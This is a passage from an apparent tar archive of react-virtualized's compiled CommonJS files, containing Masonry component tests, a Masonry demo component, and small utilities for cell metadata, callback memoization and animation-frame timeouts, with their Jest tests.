  _testUtils.Simulate.scroll(masonryNode);
}

describe('Masonry', function () {
  beforeEach(_TestUtils.render.unmount);
  describe('layout and measuring', function () {
    it('should measure only enough cells required for initial render', function () {
      // avg cell size: CELL_SIZE_MULTIPLIER
      // width: CELL_SIZE_MULTIPLIER * 3
      // height: CELL_SIZE_MULTIPLIER * 2
      // overcsan by: CELL_SIZE_MULTIPLIER
      // Expected to measure 9 cells
      var cellMeasurerCache = createCellMeasurerCache();
      (0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache
      }));

      for (var i = 0; i <= 8; i++) {
        expect(cellMeasurerCache.has(i)).toBe(true);
      }

      expect(cellMeasurerCache.has(9)).toBe(false);
    });
    it('should not measure cells while scrolling until they are needed', function () {
      // Expected to measure 9 cells
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      renderCallback.mockClear(); // Scroll a little bit, but not so much to require re-measuring

      simulateScroll(rendered, 51); // Verify that render was only called enough times to fill view port (no extra for measuring)

      expect(renderCallback).toHaveBeenCalledTimes(9);
    });
    it('should measure additional cells on scroll when it runs out of measured cells', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        cellMeasurerCache: cellMeasurerCache
      })));
      expect(cellMeasurerCache.has(9)).toBe(false);
      renderCallback.mockClear();
      simulateScroll(rendered, 101);
      expect(cellMeasurerCache.has(9)).toBe(true);
      expect(cellMeasurerCache.has(10)).toBe(false);
    }); // Masonry used to do a render pass for only unmeasured cells,
    // But this resulting in removing (and later re-adding) measured cells from the DOM,
    // Which was bad for performance. See GitHub issue #875

    it('should not remove previously-measured cells when measuring new ones', function () {
      var log = [];
      var cellMeasurerCache = createCellMeasurerCache();

      var renderCallback = function renderCallback(index) {
        log.push(index);
      };

      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      }))); // Expected to have rendered twice:
      // 1st time to measure 9 cells (b'c of esimated size)
      // 2nd time to render and position 9 cells (b'c of actual size)

      expect(log).toHaveLength(18);
      log.splice(0);
      simulateScroll(rendered, 101); // Expected to have rendered twice:
      // 1st time to measure additional cells (based on estimated size)
      // 2nd time to render and position with new cells
      // The 1st render should also have included the pre-measured cells,
      // To prevent them from being removed, recreated, and re-added to the DOM.

      expect(log).toHaveLength(18);
    });
    it('should only render enough cells to fill the viewport', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        overscanByPixels: 0
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5');
      simulateScroll(rendered, 51);
      assertVisibleCells(rendered, '0,2,3,4,5,6');
      simulateScroll(rendered, 101);
      assertVisibleCells(rendered, '3,4,5,6,7,8');
      simulateScroll(rendered, 1001);
      assertVisibleCells(rendered, '30,31,32,33,34,35');
    });
    it('should only render enough cells to fill the viewport plus overscanByPixels', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        overscanByPixels: 100
      })));
      assertVisibleCells(rendered, '0,1,10,11,2,3,4,5,6,7,8,9');
      simulateScroll(rendered, 51);
      assertVisibleCells(rendered, '0,1,10,11,2,3,4,5,6,7,8,9');
      simulateScroll(rendered, 101);
      assertVisibleCells(rendered, '0,1,10,11,2,3,4,5,6,7,8,9');
      simulateScroll(rendered, 1001);
      assertVisibleCells(rendered, '26,27,28,29,30,31,32,33,34,35,36,37');
    });
    it('should still render correctly when autoHeight is true (eg WindowScroller)', function () {
      // Share instances between renders to avoid resetting state in ways we don't intend
      var cellMeasurerCache = createCellMeasurerCache();
      var cellPositioner = createCellPositioner(cellMeasurerCache);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        scrollTop: 51
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        scrollTop: 101
      })));
      assertVisibleCells(rendered, '0,2,3,4,5,6,7,8,9');
      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        scrollTop: 1001
      })));
      assertVisibleCells(rendered, '27,29,30,31,32,33,34,35,36');
    });
    it('should set right instead of left in a cell styles for rtl row direction', function () {
      // Share instances between renders to avoid resetting state in ways we don't intend
      var cellMeasurerCache = createCellMeasurerCache();
      var cellPositioner = createCellPositioner(cellMeasurerCache);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        rowDirection: 'rtl'
      })));
      Array.from(rendered.querySelectorAll('.cell')).map(function (node) {
        expect(node.style.right).toMatch(/px/);
      });
    });
    it('should consider scroll only of the container element and not of any ancestor element', function () {
      var cellMeasurerCache = createCellMeasurerCache();

      var renderScrollableCell = function renderScrollableCell(index) {
        return React.createElement("div", {
          style: {
            height: '50px',
            overflow: 'visible'
          },
          id: "scrollable-cell-".concat(index)
        }, React.createElement("div", {
          style: {
            height: '500px'
          }
        }, index));
      };

      var cellRenderer = createCellRenderer(cellMeasurerCache, renderScrollableCell);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        overscanByPixels: 0,
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5');
      var cellEl = rendered.querySelector('#scrollable-cell-1');

      _testUtils.Simulate.scroll(cellEl, {
        target: {
          scrollTop: 100
        }
      });

      assertVisibleCells(rendered, '0,1,2,3,4,5');
    });
  });
  describe('recomputeCellPositions', function () {
    it('should refresh all cell positions', function () {
      // Share instances between renders to avoid resetting state in ways we don't intend
      var cellMeasurerCache = createCellMeasurerCache();
      var cellPositioner = jest.fn().mockImplementation(createCellPositioner(cellMeasurerCache));
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      cellPositioner.mockImplementation(function (index) {
        return {
          left: 0,
          top: index * CELL_SIZE_MULTIPLIER
        };
      });
      var component = (0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner
      }));
      rendered = (0, _reactDom.findDOMNode)(component);
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      component.recomputeCellPositions();
      assertVisibleCells(rendered, '0,1,2,3,4');
    });
    it('should not reset measurement cache', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var component = (0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache
      }));
      var rendered = (0, _reactDom.findDOMNode)(component);
      simulateScroll(rendered, 101);
      expect(cellMeasurerCache.has(9)).toBe(true);
      simulateScroll(rendered, 0);
      component.recomputeCellPositions();

      for (var i = 0; i <= 9; i++) {
        expect(cellMeasurerCache.has(i)).toBe(true);
      }
    });
  });
  describe('isScrolling', function () {
    it('should be true for cellRenderer while scrolling is in progress', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      renderCallback.mockClear();
      simulateScroll(rendered, 51);
      expect(renderCallback.mock.calls[0][1].isScrolling).toEqual(true);
    });
    it('should be reset after a small debounce when scrolling stops', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      simulateScroll(rendered, 51);
      renderCallback.mockClear();
      setTimeout(function () {
        expect(renderCallback.mock.calls[0][1].isScrolling).toEqual(false);
      }, 0);
    });
  });
  describe('callbacks', function () {
    it('should call onCellsRendered when rendered cells change', function () {
      var onCellsRendered = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onCellsRendered: onCellsRendered
      })));
      expect(onCellsRendered.mock.calls).toEqual([[{
        startIndex: 0,
        stopIndex: 8
      }]]);
      simulateScroll(rendered, 51);
      expect(onCellsRendered.mock.calls).toEqual([[{
        startIndex: 0,
        stopIndex: 8
      }]]);
      simulateScroll(rendered, 101);
      expect(onCellsRendered.mock.calls).toEqual([[{
        startIndex: 0,
        stopIndex: 8
      }], [{
        startIndex: 0,
        stopIndex: 9
      }]]);
    });
    it('should call onScroll when scroll position changes', function () {
      var onScroll = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onScroll: onScroll
      })));
      expect(onScroll.mock.calls).toEqual([[{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }]]);
      simulateScroll(rendered, 51);
      expect(onScroll.mock.calls).toEqual([[{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }], [{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 51
      }]]);
      simulateScroll(rendered, 0);
      expect(onScroll.mock.calls).toEqual([[{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }], [{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 51
      }], [{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }]]);
    });
  });
  describe('keyMapper', function () {
    it('should pass the correct key to rendered cells', function () {
      var keyMapper = jest.fn().mockImplementation(function (index) {
        return "key:".concat(index);
      });
      var cellRenderer = jest.fn().mockImplementation(function (_ref3) {
        var index = _ref3.index,
            key = _ref3.key,
            style = _ref3.style;
        return React.createElement("div", {
          key: key,
          style: style
        }, index);
      });
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        keyMapper: keyMapper
      })));
      expect(keyMapper).toHaveBeenCalled();
      expect(cellRenderer).toHaveBeenCalled();
      expect(cellRenderer.mock.calls[0][0].key).toEqual('key:0');
    });
  });
});commonjs/Masonry/Masonry.example.js000064400000030451151677406000013452 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var _CellMeasurer = require("../CellMeasurer");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _WindowScroller = _interopRequireDefault(require("../WindowScroller"));

var _createCellPositioner = _interopRequireDefault(require("./createCellPositioner"));

var _Masonry = _interopRequireDefault(require("./Masonry"));

var _MasonryExample = _interopRequireDefault(require("./Masonry.example.css"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var GridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(GridExample, _React$PureComponent);

  function GridExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, GridExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(GridExample).call(this, props, context));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_resetList", function () {
      var ROW_HEIGHTS = [25, 50, 75, 100];
      var list = _this.context.list;
      list.forEach(function (datum) {
        datum.size = ROW_HEIGHTS[Math.floor(Math.random() * ROW_HEIGHTS.length)];
      });

      _this._cache.clearAll();

      _this._resetCellPositioner();

      _this._masonry.clearCellPositions();
    });
    _this._columnCount = 0;
    _this._cache = new _CellMeasurer.CellMeasurerCache({
      defaultHeight: 250,
      defaultWidth: 200,
      fixedWidth: true
    });
    _this.state = {
      columnWidth: 200,
      height: 300,
      gutterSize: 10,
      overscanByPixels: 0,
      windowScrollerEnabled: false
    };
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onResize = _this._onResize.bind((0, _assertThisInitialized2["default"])(_this));
    _this._renderAutoSizer = _this._renderAutoSizer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._renderMasonry = _this._renderMasonry.bind((0, _assertThisInitialized2["default"])(_this));
    _this._setMasonryRef = _this._setMasonryRef.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(GridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnWidth = _this$state.columnWidth,
          height = _this$state.height,
          gutterSize = _this$state.gutterSize,
          overscanByPixels = _this$state.overscanByPixels,
          windowScrollerEnabled = _this$state.windowScrollerEnabled;
      var child;

      if (windowScrollerEnabled) {
        child = React.createElement(_WindowScroller["default"], {
          overscanByPixels: overscanByPixels
        }, this._renderAutoSizer);
      } else {
        child = this._renderAutoSizer({
          height: height
        });
      }

      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "Masonry",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Masonry/Masonry.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Masonry.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "Optimized for masonry layouts. Cells are j.i.t. measured and layed out as a user scrolls. Sizes are cached so that resize/reflow is fast and does not require re-measuring."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _MasonryExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use WindowScroller?",
        checked: windowScrollerEnabled,
        className: _MasonryExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          // HACK Because this demo switches between using WindowScroller and not,
          // It's easier to clear the cache when toggling modes to avoid a partially stale state.
          _this2._cache.clearAll();

          _this2.setState({
            windowScrollerEnabled: event.target.checked
          });
        }
      }), "Use ", React.createElement("code", null, "WindowScroller"), "?"), React.createElement("label", {
        className: _MasonryExample["default"].checkboxLabel
      }, React.createElement("button", {
        onClick: this._resetList
      }, "Reset List Data"))), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Height",
        name: "height",
        onChange: function onChange(event) {
          _this2.setState({
            height: parseInt(event.target.value, 10) || 300
          });
        },
        value: height
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Column Width",
        name: "columnWidth",
        onChange: function onChange(event) {
          _this2._cache.clearAll();

          _this2.setState({
            columnWidth: parseInt(event.target.value, 10) || 200
          }, function () {
            _this2._calculateColumnCount();

            _this2._resetCellPositioner();

            _this2._masonry.clearCellPositions();
          });
        },
        value: columnWidth
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Gutter Size",
        name: "gutterSize",
        onChange: function onChange(event) {
          _this2.setState({
            gutterSize: parseInt(event.target.value, 10) || 10
          }, function () {
            _this2._calculateColumnCount();

            _this2._resetCellPositioner();

            _this2._masonry.recomputeCellPositions();
          });
        },
        value: gutterSize
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Overscan (px)",
        name: "overscanByPixels",
        onChange: function onChange(event) {
          _this2.setState({
            overscanByPixels: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanByPixels
      })), child);
    }
  }, {
    key: "_calculateColumnCount",
    value: function _calculateColumnCount() {
      var _this$state2 = this.state,
          columnWidth = _this$state2.columnWidth,
          gutterSize = _this$state2.gutterSize;
      this._columnCount = Math.floor(this._width / (columnWidth + gutterSize));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var index = _ref.index,
          key = _ref.key,
          parent = _ref.parent,
          style = _ref.style;
      var list = this.context.list;
      var columnWidth = this.state.columnWidth;
      var datum = list.get(index % list.size);
      return React.createElement(_CellMeasurer.CellMeasurer, {
        cache: this._cache,
        index: index,
        key: key,
        parent: parent
      }, React.createElement("div", {
        className: _MasonryExample["default"].Cell,
        style: _objectSpread({}, style, {
          width: columnWidth
        })
      }, React.createElement("div", {
        style: {
          backgroundColor: datum.color,
          borderRadius: '0.5rem',
          height: datum.size * 3,
          marginBottom: '0.5rem',
          width: '100%',
          fontSize: 20,
          color: 'white',
          display: 'flex',
          alignItems: 'center',
          justifyContent: 'center'
        }
      }, index), datum.random));
    }
  }, {
    key: "_initCellPositioner",
    value: function _initCellPositioner() {
      if (typeof this._cellPositioner === 'undefined') {
        var _this$state3 = this.state,
            columnWidth = _this$state3.columnWidth,
            gutterSize = _this$state3.gutterSize;
        this._cellPositioner = (0, _createCellPositioner["default"])({
          cellMeasurerCache: this._cache,
          columnCount: this._columnCount,
          columnWidth: columnWidth,
          spacer: gutterSize
        });
      }
    }
  }, {
    key: "_onResize",
    value: function _onResize(_ref2) {
      var width = _ref2.width;
      this._width = width;

      this._calculateColumnCount();

      this._resetCellPositioner();

      this._masonry.recomputeCellPositions();
    }
  }, {
    key: "_renderAutoSizer",
    value: function _renderAutoSizer(_ref3) {
      var height = _ref3.height,
          scrollTop = _ref3.scrollTop;
      this._height = height;
      this._scrollTop = scrollTop;
      var overscanByPixels = this.state.overscanByPixels;
      return React.createElement(_AutoSizer["default"], {
        disableHeight: true,
        height: height,
        onResize: this._onResize,
        overscanByPixels: overscanByPixels,
        scrollTop: this._scrollTop
      }, this._renderMasonry);
    }
  }, {
    key: "_renderMasonry",
    value: function _renderMasonry(_ref4) {
      var width = _ref4.width;
      this._width = width;

      this._calculateColumnCount();

      this._initCellPositioner();

      var _this$state4 = this.state,
          height = _this$state4.height,
          overscanByPixels = _this$state4.overscanByPixels,
          windowScrollerEnabled = _this$state4.windowScrollerEnabled;
      return React.createElement(_Masonry["default"], {
        autoHeight: windowScrollerEnabled,
        cellCount: 1000,
        cellMeasurerCache: this._cache,
        cellPositioner: this._cellPositioner,
        cellRenderer: this._cellRenderer,
        height: windowScrollerEnabled ? this._height : height,
        overscanByPixels: overscanByPixels,
        ref: this._setMasonryRef,
        scrollTop: this._scrollTop,
        width: width
      });
    } // This is a bit of a hack to simulate newly loaded cells

  }, {
    key: "_resetCellPositioner",
    value: function _resetCellPositioner() {
      var _this$state5 = this.state,
          columnWidth = _this$state5.columnWidth,
          gutterSize = _this$state5.gutterSize;

      this._cellPositioner.reset({
        columnCount: this._columnCount,
        columnWidth: columnWidth,
        spacer: gutterSize
      });
    }
  }, {
    key: "_setMasonryRef",
    value: function _setMasonryRef(ref) {
      this._masonry = ref;
    }
  }]);
  return GridExample;
}(React.PureComponent);

exports["default"] = GridExample;
(0, _defineProperty2["default"])(GridExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/utils/TestHelper.js000064400000001375151677406000012162 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getCellMetadata = getCellMetadata;

var _initCellMetadata = _interopRequireDefault(require("./initCellMetadata"));

// Default cell sizes and offsets for use in below tests
function getCellMetadata() {
  var cellSizes = [10, // 0: 0..0 (min)
  20, // 1: 0..10
  15, // 2: 0..30
  10, // 3: 5..45
  15, // 4: 20..55
  30, // 5: 50..70
  20, // 6: 70..100
  10, // 7: 80..110
  30 //  8: 110..110 (max)
  ];
  return (0, _initCellMetadata["default"])({
    cellCount: cellSizes.length,
    size: function size(_ref) {
      var index = _ref.index;
      return cellSizes[index];
    }
  });
}commonjs/utils/createCallbackMemoizer.jest.js000064400000014150151677406000015432 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _createCallbackMemoizer = _interopRequireDefault(require("./createCallbackMemoizer"));

describe('createCallbackMemoizer', function () {
  function OnRowsRendered() {
    var _numCalls = 0;

    var _overscanStartIndex;

    var _overscanStopIndex;

    var _startIndex;

    var _stopIndex;

    return {
      numCalls: function numCalls() {
        return _numCalls;
      },
      overscanStartIndex: function overscanStartIndex() {
        return _overscanStartIndex;
      },
      overscanStopIndex: function overscanStopIndex() {
        return _overscanStopIndex;
      },
      startIndex: function startIndex() {
        return _startIndex;
      },
      stopIndex: function stopIndex() {
        return _stopIndex;
      },
      update: function update(params) {
        _overscanStartIndex = params.overscanStartIndex;
        _overscanStopIndex = params.overscanStopIndex;
        _startIndex = params.startIndex;
        _stopIndex = params.stopIndex;
        _numCalls++;
      }
    };
  }

  it('should not call onRowsRendered if startIndex or stopIndex are invalid', function () {
    var util = new OnRowsRendered();
    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: undefined
      }
    });
    expect(util.numCalls()).toEqual(0);
    helper({
      callback: util.update,
      indices: {
        startIndex: undefined,
        stopIndex: 0
      }
    });
    expect(util.numCalls()).toEqual(0);
  });
  it('should call onRowsRendered if startIndex and stopIndex are valid', function () {
    var util = new OnRowsRendered();
    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
  });
  it('should call onRowsRendered if startIndex and stopIndex are invalid but :requireAllKeys is false', function () {
    var util = new OnRowsRendered();
    var helper = (0, _createCallbackMemoizer["default"])(false);
    helper({
      callback: util.update,
      indices: {
        startIndex: undefined,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(undefined);
    expect(util.stopIndex()).toEqual(1);
  });
  it('should not call onRowsRendered if startIndex or stopIndex have not changed', function () {
    var util = new OnRowsRendered();
    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
  });
  it('should not call onRowsRendered if startIndex or stopIndex have changed', function () {
    var util = new OnRowsRendered();
    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    helper({
      callback: util.update,
      indices: {
        startIndex: 1,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(2);
    expect(util.startIndex()).toEqual(1);
    expect(util.stopIndex()).toEqual(1);
    helper({
      callback: util.update,
      indices: {
        startIndex: 1,
        stopIndex: 2
      }
    });
    expect(util.numCalls()).toEqual(3);
    expect(util.startIndex()).toEqual(1);
    expect(util.stopIndex()).toEqual(2);
  });
  it('should call onRowsRendered if :overscanCellsCount changes', function () {
    var util = new OnRowsRendered();
    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: util.update,
      indices: {
        overscanStartIndex: 0,
        overscanStopIndex: 2,
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    expect(util.overscanStartIndex()).toEqual(0);
    expect(util.overscanStopIndex()).toEqual(2);
    helper({
      callback: util.update,
      indices: {
        overscanStartIndex: 0,
        overscanStopIndex: 3,
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(2);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    expect(util.overscanStartIndex()).toEqual(0);
    expect(util.overscanStopIndex()).toEqual(3);
  });
  it('should support an array of indices', function () {
    var numCalls = 0;
    var indices;

    var callback = function callback(params) {
      indices = params;
      numCalls++;
    };

    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: callback,
      indices: [0, 1, 2]
    });
    expect(numCalls).toEqual(1);
    expect(indices).toEqual([0, 1, 2]);
    helper({
      callback: callback,
      indices: [0, 1]
    });
    expect(numCalls).toEqual(2);
    expect(indices).toEqual([0, 1]);
  });
  it('should support an attribute containing an array of indices', function () {
    var numCalls = 0;
    var indices;

    var callback = function callback(params) {
      indices = params.indices;
      numCalls++;
    };

    var helper = (0, _createCallbackMemoizer["default"])();
    helper({
      callback: callback,
      indices: {
        indices: [0, 1, 2]
      }
    });
    expect(numCalls).toEqual(1);
    expect(indices).toEqual([0, 1, 2]);
    helper({
      callback: callback,
      indices: {
        indices: [0, 1]
      }
    });
    expect(numCalls).toEqual(2);
    expect(indices).toEqual([0, 1]);
  });
});commonjs/utils/requestAnimationTimeout.js000064400000003172151677406000014777 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_AnimationTimeoutId = exports.requestAnimationTimeout = exports.cancelAnimationTimeout = void 0;

var _animationFrame = require("./animationFrame");

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_AnimationTimeoutId = process.env.NODE_ENV === 'production' ? null : {
  "id": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_AnimationTimeoutId = bpfrpt_proptype_AnimationTimeoutId;

var cancelAnimationTimeout = function cancelAnimationTimeout(frame) {
  return (0, _animationFrame.caf)(frame.id);
};
/**
 * Recursively calls requestAnimationFrame until a specified delay has been met or exceeded.
 * When the delay time has been reached the function you're timing out will be called.
 *
 * Credit: Joe Lambert (https://gist.github.com/joelambert/1002116#file-requesttimeout-js)
 */


exports.cancelAnimationTimeout = cancelAnimationTimeout;

var requestAnimationTimeout = function requestAnimationTimeout(callback, delay) {
  var start; // wait for end of processing current event handler, because event handler may be long

  Promise.resolve().then(function () {
    start = Date.now();
  });

  var timeout = function timeout() {
    if (Date.now() - start >= delay) {
      callback.call();
    } else {
      frame.id = (0, _animationFrame.raf)(timeout);
    }
  };

  var frame = {
    id: (0, _animationFrame.raf)(timeout)
  };
  return frame;
};

exports.requestAnimationTimeout = requestAnimationTimeout;commonjs/utils/createCallbackMemoizer.js000064400000002123151677406000014463 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = createCallbackMemoizer;

/**
 * Helper utility that updates the specified callback whenever any of the specified indices have changed.
 */
function createCallbackMemoizer() {
  var requireAllKeys = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;
  var cachedIndices = {};
  return function (_ref) {
    var callback = _ref.callback,
        indices = _ref.indices;
    var keys = Object.keys(indices);
    var allInitialized = !requireAllKeys || keys.every(function (key) {
      var value = indices[key];
      return Array.isArray(value) ? value.length > 0 : value >= 0;
    });
    var indexChanged = keys.length !== Object.keys(cachedIndices).length || keys.some(function (key) {
      var cachedValue = cachedIndices[key];
      var value = indices[key];
      return Array.isArray(value) ? cachedValue.join(',') !== value.join(',') : cachedValue !== value;
    });
    cachedIndices = indices;

    if (allInitialized && indexChanged) {
